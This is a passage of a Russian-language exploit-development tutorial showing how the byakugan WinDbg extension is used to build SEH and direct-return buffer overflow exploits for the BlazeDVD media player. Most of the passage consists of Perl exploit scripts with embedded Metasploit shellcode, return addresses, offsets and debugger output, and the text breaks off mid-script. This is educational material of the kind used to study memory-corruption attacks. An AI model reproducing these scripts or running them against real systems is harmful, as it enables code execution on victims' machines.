(5b0.894): Access violation(5b0.894): Access violation - code c0000005 (first chance)
 - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=062ddcd8 edx=00000042 esi=01f61c20 edi=6405569c
eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0         nv up ei pl nz na pe nc

Теперь пришло время воспользоваться byakugan. Загрузите его, и посмотрите, сможет ли он найти metasploit-шаблон:

0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !pattern_offset 1000
[Byakugan] Control of ecx at offset 612.
[Byakugan] Control of eip at offset 612.

Отлично. Мало того, что мы убедились в буферном переполнении, так мы ещё и знаем смещение, и все это за один заход. Похоже, что мы смогли перезаписать RET… Но прежде, чем сказать об этом точно, необходимо проверить это с помощью !exchain:

0:000> !exchain
0012afe4: 0012afe4: ntdll!ExecuteHandler2+3a (7c9032bc)
ntdll!ExecuteHandler2+3a (7c9032bc)
0012f5b8: 0012f5b8: +41347540 (41347541)
+41347540 (41347541)
Invalid exception stack at 33754132

Это SEH переполнение. Смещение 612, является смещением к nSEH. Поэтому, для того чтобы переписать next SEH, мы должны вычесть 4 байта, и получить реальное смещение = 608

Мы знаем, что структура типичного SEH эксплойта похожа на эту:

[junk][jump][pop pop ret][shellcode]

Давайте найдем pop,pop,ret, и:

  • - прыгнем на 30 байт (вместо 6 байтов)
  • - начнем шеллкод с nop'ов (чтобы компенсировать 30-байтовый скачок)

Найдем pop,pop,ret: Вы можете все еще использовать findjmp, или !jutsu searchOpcode. Единственный недостаток с !jutsu searchOpcode то, что Вы должны будете определить регистры. Однако мы воспользуемся именно им. Мы будем искать pop esi, pop ebx, ret

0:000> !jutsu searchOpcode pop esi | pop ebx | ret
[J] Searching for:
> pop esi
>  pop ebx
>  ret

[J] Machine Code:
> 5e 5b c3
[J] Executable opcode sequence found at: 0x05942a99
[J] Executable opcode sequence found at: 0x05945425
[J] Executable opcode sequence found at: 0x05946a1e
[J] Executable opcode sequence found at: 0x059686a0
[J] Executable opcode sequence found at: 0x05969d91
[J] Executable opcode sequence found at: 0x0596aaa6
[J] Executable opcode sequence found at: 0x1000467f
[J] Executable opcode sequence found at: 0x100064c7
[J] Executable opcode sequence found at: 0x10008795
[J] Executable opcode sequence found at: 0x1000aa0b
[J] Executable opcode sequence found at: 0x1000e662
[J] Executable opcode sequence found at: 0x1000e936
[J] Executable opcode sequence found at: 0x3d937a1d
[J] Executable opcode sequence found at: 0x3d93adf5

… (etc)

Ищите адрес в диапазоне адресов одного из модулей/dll BlazeDVD. (Вы можете получить список выполнимых модулей командой “lm”). На моей системе (XP SP3 En), адреса начинающиеся с 0×64 будут прекрасно работать. Воспользуемся адресом 0x640246f7

0:000> u 0x640246f7
MediaPlayerCtrl!DllCreateObject+0x153e7:
640246f7 5e              pop     esi
640246f8 5b              pop     ebx
640246f9 c3              ret

Пишем эксплойт:

#!usr/bin/perl
# windows/exec - 302 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";

$payload =$junk.$nseh.$seh.$nop.$shellcode;

open ($FILE,">$sploitfile");
print $FILE $payload;
close($FILE);

На моей системе сработало. Пробуйте.

Возможно, нам повезло на сей раз, т.к. существует множество недостатков при создании эксплойта почти "в слепую", например:

  • - мы не знаем, находиться ли используемый для pop,pop,ret адрес в модуле, который собран с safeseh.
  • - мы не уверены в правильном размещении шеллкода (но перепрыгивая 30 байт, и используя nop’ы, мы немного увеличили свои шансы)
  • - если эксплойт не работает (из-за слишком маленьких буферов для шеллкода), нам придется переделывать работу снова и снова, и на сей раз вручную.

Но тем не менее, если это сработает, Вы сэкономите кучу времени.

Byakugan: memDiff

Воспользуемся той же самой уязвимостью и эксплойтом, чтобы обсудить некоторые из других особенностей byakugan.

Мы будем использовать тот же самый эксплойт, но вместо того, чтобы делать скачок (0xeb, 0x1e), мы вставим 2 контрольных точки (0xcc, 0xcc), таким образом, мы сможем наблюдать, соответствует ли наш оригинальный шеллкод тому, что мы поместили в память (мы сможем идентифицировать повреждения шеллкода и возможные плохие символы).

Во-первых, мы сравним шеллкод в памяти с оригинальным шеллкодом, и, продемонстрируем различные функциональные возможности. Изменив шеллкод мы сможем увидеть различия.

Мы должны поместить шеллкод в текстовый файл:

my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";

open ($FILE2,">shell.txt");
print $FILE2 $shellcode;
close($FILE2);


Откройте windbg, запустите выполнение программы, и откройте недавно созданный файл эксплойта. Когда приложение зависает, нажмите F5, таким образом, оно переступит через первое исключение.

Приложение теперь останавливается на наших контрольных точках, как и ожидалось:

(744.7a8): Break instruction exception(744.7a8):
Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012f188 ecx=640246f7 edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012f5b8 esp=0012f0ac ebp=0012f0c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
+0x12f5b7:
0012f5b8 cc              int     3

Сделайте дамп eip, чтобы получить адрес начала шеллкода:

0:000> d eip
0012f5b8  cc cc 90 90 f7 46 02 64-90 90 90 90 90 90 90 90  .....F.d........
0012f5c8  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012f5d8  90 90 90 90 90 90 89 e3-db c2 d9 73 f4 59 49 49  ...........s.YII
0012f5e8  49 49 49 43 43 43 43 43-43 51 5a 56 54 58 33 30  IIICCCCCCQZVTX30
0012f5f8  56 58 34 41 50 30 41 33-48 48 30 41 30 30 41 42  VX4AP0A3HH0A00AB
0012f608  41 41 42 54 41 41 51 32-41 42 32 42 42 30 42 42  AABTAAQ2AB2BB0BB
0012f618  58 50 38 41 43 4a 4a 49-4b 4c 4b 58 51 54 43 30  XP8ACJJIKLKXQTC0
0012f628  bb 50 bb 50 4c 4b 47 35-47 4c 4c 4b 43 4c 43 35  .P.PLKG5GLLKCLC5

Шеллкод начинается в 0x0012f5de. Запускаем jutsu

0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !jutsu memDiff file 302 c:\sploits\blazevideo\shell.txt 0x0012f5de
            ACTUAL                                EXPECTED
ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 43 43 43     ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 43 43 43
43 43 43 51 5a 56 54 58 33 30 56 58 34 41 50 30     43 43 43 51 5a 56 54 58 33 30 56 58 34 41 50 30
41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41     41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41
51 32 41 42 32 42 42 30 42 42 58 50 38 41 43 4a     51 32 41 42 32 42 42 30 42 42 58 50 38 41 43 4a
4a 49 4b 4c 4b 58 51 54 43 30 45 50 45 50 4c 4b     4a 49 4b 4c 4b 58 51 54 43 30 45 50 45 50 4c 4b
47 35 47 4c 4c 4b 43 4c 43 35 44 38 43 31 4a 4f     47 35 47 4c 4c 4b 43 4c 43 35 44 38 43 31 4a 4f
4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b     4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b
50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50     50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50
4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a     4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a
44 4d 43 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54     44 4d 43 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54
45 54 43 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b     45 54 43 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b
45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 43 31     45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 43 31
4a 4b 4c 4b 45 4c 4c 4b 43 31 4a 4b 4d 59 51 4c     4a 4b 4c 4b 45 4c 4c 4b 43 31 4a 4b 4d 59 51 4c
46 44 43 34 49 53 51 4f 46 51 4b 46 43 50 46 36     46 44 43 34 49 53 51 4f 46 51 4b 46 43 50 46 36
45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b     45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b
42 50 45 4c 4e 4d 4c 4b 42 48 43 38 4b 39 4a 58     42 50 45 4c 4e 4d 4c 4b 42 48 43 38 4b 39 4a 58
4d 53 49 50 43 5a 50 50 43 58 4c 30 4d 5a 45 54     4d 53 49 50 43 5a 50 50 43 58 4c 30 4d 5a 45 54
51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f     51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f
4b 57 43 53 43 51 42 4c 43 53 43 30 41 41         4b 57 43 53 43 51 42 4c 43 53 43 30 41 41 

[J] Bytes replaced: 0x89 0xe3 0xdb 0xc2 0xd9 0xf4
[J] Offset corruption occurs at:

Параметры, которые были переданы memDiff:

  • - указывают, что memDiff должен читать из файла
  • - 302: размер памяти, для чтения (302 = длина нашего шеллкода)
  • - c:\sploits\blazevideo\shellcode.txt: файл, содержащий наш оригинальный шеллкод
  • - 0x0012f5de: начальный адрес (точка начала нашего шеллкода в памяти)

Теперь измените скрипт эксплойта и некоторые случайные байты шеллкода (Я заменил все x43 на x44 - 24 замены)

0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !jutsu memDiff file 302 c:\sploits\blazevideo\shell.txt 0x0012f5de
            ACTUAL                                EXPECTED
ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 44 44 44     ffffff89 ffffffe3 ffffffdb ffffffc2 ffffffd9 73 fffffff4 59 49 49 49 49 49 43 43 43
44 44 44 51 5a 56 54 58 33 30 56 58 34 41 50 30     43 43 43 51 5a 56 54 58 33 30 56 58 34 41 50 30
41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41     41 33 48 48 30 41 30 30 41 42 41 41 42 54 41 41
51 32 41 42 32 42 42 30 42 42 58 50 38 41 44 4a     51 32 41 42 32 42 42 30 42 42 58 50 38 41 43 4a
4a 49 4b 4c 4b 58 51 54 44 30 45 50 45 50 4c 4b     4a 49 4b 4c 4b 58 51 54 43 30 45 50 45 50 4c 4b
47 35 47 4c 4c 4b 44 4c 44 35 44 38 44 31 4a 4f     47 35 47 4c 4c 4b 43 4c 43 35 44 38 43 31 4a 4f
4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b     4c 4b 50 4f 44 58 4c 4b 51 4f 47 50 45 51 4a 4b
50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50     50 49 4c 4b 46 54 4c 4b 45 51 4a 4e 50 31 49 50
4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a     4c 59 4e 4c 4c 44 49 50 44 34 45 57 49 51 49 5a
44 4d 44 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54     44 4d 43 31 49 52 4a 4b 4b 44 47 4b 50 54 47 54
45 54 44 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b     45 54 43 45 4a 45 4c 4b 51 4f 46 44 45 51 4a 4b
45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 44 31     45 36 4c 4b 44 4c 50 4b 4c 4b 51 4f 45 4c 43 31
4a 4b 4c 4b 45 4c 4c 4b 44 31 4a 4b 4d 59 51 4c     4a 4b 4c 4b 45 4c 4c 4b 43 31 4a 4b 4d 59 51 4c
46 44 44 34 49 53 51 4f 46 51 4b 46 44 50 46 36     46 44 43 34 49 53 51 4f 46 51 4b 46 43 50 46 36
45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b     45 34 4c 4b 50 46 50 30 4c 4b 51 50 44 4c 4c 4b
42 50 45 4c 4e 4d 4c 4b 42 48 44 38 4b 39 4a 58     42 50 45 4c 4e 4d 4c 4b 42 48 43 38 4b 39 4a 58
4d 53 49 50 44 5a 50 50 44 58 4c 30 4d 5a 45 54     4d 53 49 50 43 5a 50 50 43 58 4c 30 4d 5a 45 54
51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f     51 4f 42 48 4d 48 4b 4e 4d 5a 44 4e 50 57 4b 4f
4b 57 44 53 44 51 42 4c 44 53 44 30 41 41           4b 57 43 53 43 51 42 4c 43 53 43 30 41 41 

[J] Bytes replaced: 0x89 0xe3 0xdb 0xc2 0xd9 0xf4 0x43
[J] Offset corruption occurs at:

Теперь мы видим 24 байта (которые переписываются 24 байтами, измененными в оригинальном шеллкоде). Это хороший способ определить, был л шеллкод (или ascii образец, или metasploit образец) изменены в памяти. Вы можете также видеть “замененные” байты. Сравните линию байтов с линией, которая была распечатана в первом тесте. Мы теперь видим 0×43, добавленные к списку…
memDiff может действительно сохранить много времени, при сравнении шеллкодов и найти плохие символы.
Отметьте: memDiff типы и параметры:

0:000> !jutsu memDiff
[J] Format: memDiff    
Valid Types: hex: Value is any hex characters file: Buffer is read in from file at path buf: Buffer is taken from known tracked Buffers

Byakugan: identBuf/listBuf/rmBuf и Hunt

Эти 3 функции jutsu помогут Вам находить местоположения буферов в памяти.

Давайте возьмем следующий скрипт:

#!usr/bin/perl
my $sploitfile="blazesploit.plf";
my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab…";

my $nseh = "\xcc\xcc\x90\x90";  #jump 30 bytes
my $seh = pack('V',0x640246f7);  #pop esi, pop ebx, ret
my $nop = "\x90" x 30;  #start with 30 nop's

# windows/exec - 302 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";

$payload =$junk.$nseh.$seh.$nop.$shellcode;

open ($FILE,">$sploitfile");
print $FILE $payload;
close($FILE);

open ($FILE2,">c:\\shell.txt");
print $FILE2 $nop.$shellcode;
close($FILE2);

Отметьте: “my $junk” содержит в себе metasploit шаблон из 608.
nseh содержит контрольные точки. И наконец, у основания скрипта, nop'ы + шеллкод записаны в файле (c:\shell.txt).

Откройте windbg, запустите в нем blazeDVD, откройте файл эксплойта (который должен заставить приложение зависнуть). Первое исключение:

(d54.970): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=05a8dcd8 edx=00000042 esi=01f61c20 edi=6405569c
eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
+0x37694135:
37694136 ??              ???

Теперь создайте 2 identBuf определения: один для metasploit-шаблона, и один для шеллкода:

0:000> !load byakugan
[Byakugan] Successfully loaded!
0:000> !jutsu identBuf file myShell c:\shell.txt
[J] Creating buffer myShell.
0:000> !jutsu identBuf msfpattern myBuffer 608
[J] Creating buffer myBuffer.
0:000> !jutsu listBuf
[J] Currently tracked buffer patterns:
    Buf: myShell    Pattern: ãÛÂÙsôYIIIIICCCCCCQZVT...
    Buf: myBuffer    Pattern: Aa0Aa1A...

Запустите byakugan hunt для этих буферов:

0:000> !jutsu hunt
[J] Controlling eip with myBuffer at offset 260.
[J] Found buffer myShell @ 0x0012f5c0
[J] Found buffer myShell @ 0x0012f5c0 - Victim of toUpper!
[J] Found buffer myShell @ 0x0012f5c0 - Victim of toLower!
[J] Found buffer myBuffer @ 0x01f561e4

Как было замечено ранее, мы могли перезаписать EIP непосредственно (но мы создаем SEH-эксплойт). Hunt говорит нам, что мы получаем управляем над eip в смещении 260. Таким образом hunt даст нам те же самые результаты как !pattern_offset. Вдобавок ко всему, hunt будет искать наши предидентифицированные буфера и давать нам их адреса.

Нажмите “g” в windbg (чтобы передать первое исключение приложению). Приложение теперь останавливается в наших контрольных точках (которые помещены в nseh)

0:000> g
(d54.970): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=0012f188 ecx=640246f7 edx=7c9032bc esi=7c9032a8 edi=00000000
eip=0012f5b8 esp=0012f0ac ebp=0012f0c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
+0x12f5b7:
0012f5b8 cc              int     3

Снова запустите hunt:

0:000> !jutsu hunt
[J] Found buffer myShell @ 0x0012f5c0
[J] Found buffer myShell @ 0x0012f5c0 - Victim of toUpper!
[J] Found buffer myShell @ 0x0012f5c0 - Victim of toLower!
[J] Found buffer myBuffer @ 0x01f561e4

Мы больше не управляем eip через myBuffer (т.к. мы передали первое исключение приложению), но если посмотреть на eip (0x0012f5b8), мы увидим, что он указывает на местоположение, которое является очень близким к буферу myShell (0x0012f5c0) (таким образом короткий скачок позволит достать до шеллкода).

0:000> d eip+8
0012f5c0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0012f5d0  90 90 90 90 90 90 90 90-90 90 90 90 90 90 89 e3  ................
0012f5e0  db c2 d9 73 f4 59 49 49-49 49 49 43 43 43 43 43  ...s.YIIIIICCCCC
0012f5f0  43 51 5a 56 54 58 33 30-56 58 34 41 50 30 41 33  CQZVTX30VX4AP0A3
0012f600  48 48 30 41 30 30 41 42-41 41 42 54 41 41 51 32  HH0A00ABAABTAAQ2
0012f610  41 42 32 42 42 30 42 42-58 50 38 41 43 4a 4a 49  AB2BB0BBXP8ACJJI
0012f620  4b 4c 4b 58 51 54 43 30-45 50 45 50 4c 4b 47 35  KLKXQTC0EPEPLKG5
0012f630  47 4c 4c 4b 43 4c 43 35-44 38 43 31 4a 4f 4c 4b  GLLKCLC5D8C1JOLK

Это доказывает то, что наша контрольная точка помещена в первый байт, где nseh перезаписывается на скачок в 8 байтов для перехода к нашему шеллкоду.

Byakugan: findReturn

Мы убедились в том, что можем создать эксплойт, основанный на прямом RET-перезаписывании (в смещении 260). Давайте напишем скрипт, который продемонстрирует, что использование findReturn помогает нам создавать рабочие эксплойты:

Во-первых, напишем скрипт, который создаст полезную нагрузку, состоящую из 264 символов (metasploit-шаблон), сопровождаемых 1000 "A":
my $sploitfile="blazesploit.plf";
my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8 . . . Ai7";
my $junk2 = "A" x 1000;
$payload =$junk.$junk2;

open ($FILE,">$sploitfile");a
print $FILE $payload;
close($FILE);

open ($FILE2,">c:\\junk2.txt");
print $FILE2 $junk2;
close($FILE2);

Открыв файл эксплота, windbg сообщит следующее:

(c34.7f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=05a8dcd8 edx=00000042 esi=01f61c20 edi=6405569c
eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
+0x37694135:
37694136 ??              ???

Воспользуемся арсеналом byakugan, чтобы найти, что вся запрошенная информация создаст рабочий эксплойт:

  • - отследим metasploit-шаблон ($junk)
  • - отследим A’s ($junk2)
  • - смотрим, где перезаписывается eip (смещение)
  • - смотрим, где находятся $junk и $junk2
  • - находим адреса возврата

(c34.7f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=77f6c19c ecx=05a8dcd8 edx=00000042 esi=01f61c20 edi=6405569c
eip=37694136 esp=0012f470 ebp=01f61e60 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
+0x37694135:
37694136 ??              ???

Результаты:

  • - eip был перезаписан в смещении равном 260 байт от myJunk1.
  • - myJunk2 (A-массив) был найден в 0x0012f460 (который является esp-10). Т.е., если мы заменяли eip с jmp esp, мы можем позволить шеллкоду начаться в myJunk2 + 10 байтов (или 16 символов)
  • - мы должны удалить в скрипте последние 4 байта из $junk, и добавить адрес (4 байта) jmp esp или call esp, который перезапишет RET. Мы будем использовать 0x035fb847 как пример (не показанный выше, т.к. я все еще предпочитаю вручную выбирать адреса возврата, используя memdump или findjmp, т.к. при использовании 'findReturn' нельзя определить модуль, которому они принадлежат …
  • - нам нужно:
    • -- замените 1000 "A" шеллкодом
    • -- добавьте по крайней мере 16 NOP’ов перед шеллкодом (я добавил 50 nop'ов …, Если Вы добавите меньше, Вы можете повредить шеллкод, который я легко обнаружил использовав memDiff)

Скрипт:

#include 
my $sploitfile="blazesploit.plf";
my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6A...Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai"; #260 characters
#$junk is now 4 byte shorter
my $ret = pack('V',0x035fb847);  #jmp esp from EqualizerProcess.dll
my $nop="\x90" x 50;
# windows/exec - 302 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
